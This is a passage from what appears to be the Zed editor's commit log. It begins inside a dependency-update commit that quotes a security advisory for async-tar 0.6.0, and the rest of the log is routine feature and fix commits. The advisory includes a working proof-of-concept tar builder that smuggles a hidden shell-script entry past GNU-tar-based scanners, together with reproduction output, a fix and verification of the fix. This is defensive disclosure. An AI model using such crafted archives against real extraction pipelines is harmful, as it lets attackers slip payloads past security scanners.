Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
75aeecfbf3 |
agent: Show title generation error in tooltip (#60982)
Closes #57117 <img width="305" height="84" alt="image" src="https://github.com/user-attachments/assets/5626040c-5c3f-4f3f-8931-31331406015e" /> Release Notes: - agent: Show actual error message when title generation fails --------- Co-authored-by: Martin Ye <martin@zed.dev> |
||
|
|
b4018f4c7e |
Open gitignored subdirectories as their own workspace (#60918)
# Objective Let's git ignored directories be opened as their own project ## Solution - Add an "ignored dir" carve out when checking project collision ## Testing - Added tests ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [-] Unsafe blocks (if any) have justifying comments - [-] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [-] Performance impact has been considered and is acceptable --- Release Notes: - |
||
|
|
fbe484282d |
agent: Sandbox DNS rebinding and redirect cleanup (#60941)
Tidies up the host resolution code a bit and closes some small gaps --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
5cc3fbcb12 |
Fix project panel follow focus issues (#60974)
Closes https://github.com/zed-industries/zed/issues/60939 Closes https://github.com/zed-industries/zed/issues/60940 Release Notes: - Fixed focus follows mouse in project panel's blank space |
||
|
|
f2c6ebf1e5 |
Allow configuring adaptive thinking for Anthropic available_models (#57207)
Split off from #57105 per @maxdeviant's review. `language_model_core::ModelMode` previously had only `Default` and `Thinking` variants. As a result, `available_model_to_anthropic_model` in the Anthropic provider had a dead branch for `AdaptiveThinking` that was never reachable from settings, and users manually configuring Claude models via `available_models` could only toggle extended thinking on/off — they could not opt into adaptive thinking and its low/medium/high/xhigh/max effort selector. This matters most for users on third-party Anthropic-compatible proxies, where the `/v1/models` endpoint may not report a `capabilities` block, leaving `available_models` as the only path to enable adaptive thinking. Add an `Adaptive` variant to `ModelMode` and map it to `AnthropicModelMode::AdaptiveThinking` in the Anthropic provider's settings conversion. Users can now write: ```json { "language_models": { "anthropic": { "available_models": [ { "name": "claude-opus-4-7", "display_name": "Claude Opus 4.7", "max_tokens": 1000000, "max_output_tokens": 128000, "mode": { "type": "adaptive" } } ] } } } ``` and get the full adaptive-thinking UX in the agent panel. ### Impact on other providers `ModelMode` is re-exported by Google (`GoogleModelMode`) and OpenRouter. Both already use non-exhaustive `matches!` checks for `Thinking`, so the new variant naturally falls through to "no thinking" without compile breakage. Bedrock defines its own local `ModelMode` enum and is unaffected. `cargo check --workspace --all-targets` passes. ### Tests Three new tests in `crates/language_models/src/provider/anthropic.rs` covering Adaptive / Thinking / Default settings → model mapping: - `cargo test -p language_models --lib provider::anthropic::`: 3/3 passing. - `./script/clippy --package language_models --package language_model_core`: clean. Release Notes: - agent: Added support for `"mode": { "type": "adaptive" }` for custom anthropic to enable adaptive thinking --------- Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de> |
||
|
|
4896f7f10c |
Thin out unnecessary dependencies from core crates (#60977)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
2adb49ea16 |
Disable all spinners in Zed (#60614)
Closes https://github.com/zed-industries/zed/pull/48577 Part of https://github.com/zed-industries/zed/issues/8043 See https://zed-industries.slack.com/archives/C07NUKHLVUZ/p1783335475957139 for context. Release Notes: - Allow to reduce animations with `"reduce_motion": "on"` settings |
||
|
|
928a074dc7 |
Fix gentoo cmake package name (#60930)
script/linux tried to install dev-util/cmake, which is not the correct package name, so the script fails. Changing it to dev-build/cmake fixes this. Release Notes: - N/A |
||
|
|
440affd443 |
languages: Pin TypeScript to 6.x for typescript-language-server (#60970)
Closes https://github.com/zed-industries/zed/issues/60618 TypeScript 7 no longer ships `tsserver.js`, which `typescript-language-server` depends on. This PR does two things: 1. Pins the `typescript` package Zed auto-installs for `typescript-language-server` to `^6`. For projects without their own TypeScript in `node_modules` (which rely on the copy Zed installs), an existing 7.x install gets downgraded to the latest 6.x, making the server usable again. 2. Only hands the workspace's TypeScript to the server as a tsdk when it actually contains `tsserver.js`, falling back to Zed's installed 6.x otherwise. So if you upgraded your project to TypeScript 7, the language server won't break. It keeps working against the 6.x TypeScript Zed ships. Note that vtsls, the default TypeScript language server, is unaffected by the TypeScript 7 release. It bundles its own compatible TypeScript. See #60951 for details. This PR only affects users who have manually configured `typescript-language-server` as their language server. Release Notes: - Fixed `typescript-language-server` breaking after the TypeScript 7 release. For projects that have upgraded to TypeScript 7, install the `tsgo` extension to use TypeScript's native language server. |
||
|
|
e46729d1d8 |
vtsls: Remove redundant TypeScript installation (#60951)
Context: While looking at #60618, I found out the TypeScript 7 upgrade only breaks the `typescript-language-server` adapter, not the default vtsls adapter. After digging in, it turns out the initial vtsls implementation in #12606 followed the same two-package installation pattern as the `typescript-language-server` adapter: it installed both `@vtsls/language-server` and the latest `typescript`. However, vtsls already bundles a compatible TypeScript version via `@vtsls/language-service` and uses it whenever a workspace SDK is unavailable. I also cross-checked an intermediate vtsls upgrade issue, #18349, where we used the installed TypeScript version to decide whether both packages needed updating, so a new vtsls release could go uninstalled when TypeScript hadn't changed. #20197 fixed that by checking both packages independently, but kept the unnecessary standalone TypeScript installation. Changes: This PR removes that redundant installation and version tracking from the vtsls adapter. Zed now tracks only `@vtsls/language-server` and relies on its declared TypeScript dependency. Workspace TypeScript and Yarn SDK detection remain unchanged, so vtsls still uses a workspace SDK when one is available and otherwise falls back to its bundled version. As for the consequence of this change: 1. New users are not affected since npm installs vtsls's own pinned TypeScript dependency anyway. 2. For existing users, the previously installed standalone `typescript` was never resolvable by vtsls (its pinned version gets installed nested when the versions conflict), so leaving it there is harmless. To verify the standalone copy was really unused, I nuked the vtsls dir and ran main (without this fix), which installed both the top-level `typescript@7.0.2` and vtsls's own pinned `typescript@5.9.3` nested under `@vtsls/language-service`. Node's module resolution shows vtsls can only ever see the nested copy as well as the LSP logs from the running server shows, all lib definition locations point at the nested copy: ``` "uri": "file:///.../vtsls/node_modules/@vtsls/language-service/node_modules/typescript/lib/lib.es5.d.ts" ``` I also tested this branch with a fresh install TypeScript files work the same as before. Release Notes: - N/A |
||
|
|
9a7d33a52f |
gpui_linux: split xkbcommon wayland/x11 features (#60834)
# Objective When xkbcommon compiled with either wayland or x11 only, the current manifests will prevent it from compiling, despite gpui is already wayland/x11 seperated. close #60943 ## Solution Simple changes to manifests. ## Testing ``` cargo tree -p gpui_platform --no-default-features --features {wayland,x11} -e features -i xkbcommon ``` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
62a1a8890f |
Distinguish parameters from normal variables in semantic token highlighting (#60949)
# Objective Closes #60928 Currently, only the declaration of parameters in a function header is highlighted as `variable.parameter`. Inside the function body, parameters are highlighted as normal variables, making them indistinguishable from local variables. This PR ensures consistent highlighting for parameters throughout their entire scope, helping developers distinguish between function inputs and locally defined variables. ## Solution - Updated the `default_semantic_token_rules.json`: when the token type is `parameter`, no matter what token modifiers are, it is now mapped to `variable.parameter` highlight style. ## Testing Tested locally with Rust. The improvement in visual hierarchy is demonstrated in the comparison below. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase | Before | After | | :---: | :---: | | <img width="1178" height="400" alt="before" src="https://github.com/user-attachments/assets/90a01543-2dcc-41e0-a2a3-f8020c6d77ee" /> | <img width="1194" height="387" alt="after" src="https://github.com/user-attachments/assets/c81ba273-2ea7-4d38-b7df-a6069c09c28a" />| --- Release Notes: - Improved semantic token highlighting to distinguish function parameters from local variables. |
||
|
|
c761cc30c8 |
collab: Use new fuzzy search endpoint (#60910)
Updates Collab to use the new `/internal/channel_members/fuzzy_search` endpoint that searches users by username (instead of GitHub login). Request and response shapes are the same. Release Notes: - N/A |
||
|
|
faa7c4f534 |
branch_picker: Add design improvements (#60925)
This PR adds a series of design improvements to the branch picker, including: - Consistent icon used for filter actions - A keybinding/action to trigger the filter menu with the keyboard - Filter menu positioning depending on the picker's editor position - Error display that displays the full label without truncation/tooltip, and is placed accordingly also depending on the picker's editor position - List subheader in the search list depending on filtered option Here's a quick video: https://github.com/user-attachments/assets/70922daf-fc9f-4d94-bed8-c84d3ea73534 - - - Release Notes: - N/A |
||
|
|
58f2b47005 |
gpui: Fix crash when opening a popover from inside another popover (#60926)
Opening a popover from inside another popover (e.g. the branch picker's new filter menu, when the picker is hosted in the git panel or title bar) corrupted the frame-caching bookkeeping for whichever cached view contained them. The corruption was invisible until a later, unrelated redraw reused that view's cached subtree, at which point the window crashed (debug) or could misroute input events (release). Fixed by processing deferred draws in place so their recorded positions remain valid across frames; added a regression test reproducing the crash via a cached panel hosting nested popovers. Release Notes: - Fixed the branch picker menu in the Git Panel, which was previously broken due to popovers-within-popovers not being possible in GPUI. |
||
|
|
bf1c21cbf7 |
Add more context (#60913)
Started an old Zed version with old db entry which resulted in 0 agent panel working, only showing me there and in logs "project path not found". Fixed by removing the corresponding `db` subdirectory, but decided to make the log entries a bit more useful. Release Notes: - N/A |
||
|
|
1a06fd4f2b |
Add a bunch of stray design refinement throughout (#60937)
This PR is a collection of grab bag UI design refinements across the entire app. Most of them are minor icon fixes/standardizations, spacing, and sizing tweaks. The one change that ended up getting a bit bigger than I initially anticipated is the debugger panel tabs improvements; added a bunch of tweaks there to make it look slicker. A relevant change is a small one-line change to the GPUI div element where it wouldn't add drag-over styles to elements that aren't initially a hitbox target. Given I wanted to pull off the drop indicator you see on the video below, this turned out to be needed: https://github.com/user-attachments/assets/964b456a-eef0-42bb-a433-7dac54ab8ec8 --- Release Notes: - N/A |
||
|
|
9afffc9394 |
thread_view: Add a component for the terminal's tool call header (#60931)
This PR introduces a component for the terminal tool call's header. It was growing already pretty big in the terminal tool call render function in the thread view and hard to visualize in all of its use cases. I got motivated to do this because I wanted to make the UI for the case when it runs outside of the sandbox simpler, but it wasn't easy to make that show up in a true agent thread, and with it being a component, I can just use the component preview. Here's a quick screenshot of it, it shouldn't look too different, just a bit more polished: <img width="600" alt="Screenshot 2026-07-13 at 6 43@2x" src="https://github.com/user-attachments/assets/fb222e50-2003-4cf7-9039-7b211db3c86e" /> Release Notes: - N/A |
||
|
|
0aee09eb0d |
language_model: Fix compilation on wasm (#60955)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
501975d322 |
Recognize deno.lock as JSON (#60679)
Reasons: Deno officially states that the deno.lock file is of JSON type. https://github.com/denoland/vscode_deno/blob/main/schemas/lockfile.schema.json Release Notes: - Added JSON language support for `deno.lock` files. |
||
|
|
b220d078bf |
Show tag names in git blame tooltips (#60757)
Fetch tag names for commits included in blame data and pass them through the blame rendering path. Render tag names as chips in the blame hover tooltip and expanded blame popover. Tag lookup is best-effort, so blame still renders if tag lookup fails. > Note: Tag names are currently only fetched for local repositories. For remote projects (SSH) and collab sessions, blame data travels over the `BlameBufferResponse` proto message, which doesn't carry tag names yet. ## Testing - `cargo test -p git test_parse_tag_names_for_lightweight_and_annotated_tags` - `cargo check -p git_ui` - `cargo check -p editor` - `cargo check -p project` Manual testing: - Opened `git: blame` on a file with a tagged commit. - Verified tag chips are shown in the blame hover tooltip and expanded popover. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon] (https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase Before: <img width="1655" height="660" alt="before" src="https://github.com/user-attachments/assets/dbefd729-f8df-48a9-8249-83c93518fe76" /> After: <img width="1655" height="660" alt="after" src="https://github.com/user-attachments/assets/2c1097de-b268-45d9-9d13-0f3e06058603" /> --- Release Notes: - Git: Made tags visible in Git blame tooltips. --------- Co-authored-by: Danilo Leal <daniloleal09@gmail.com> |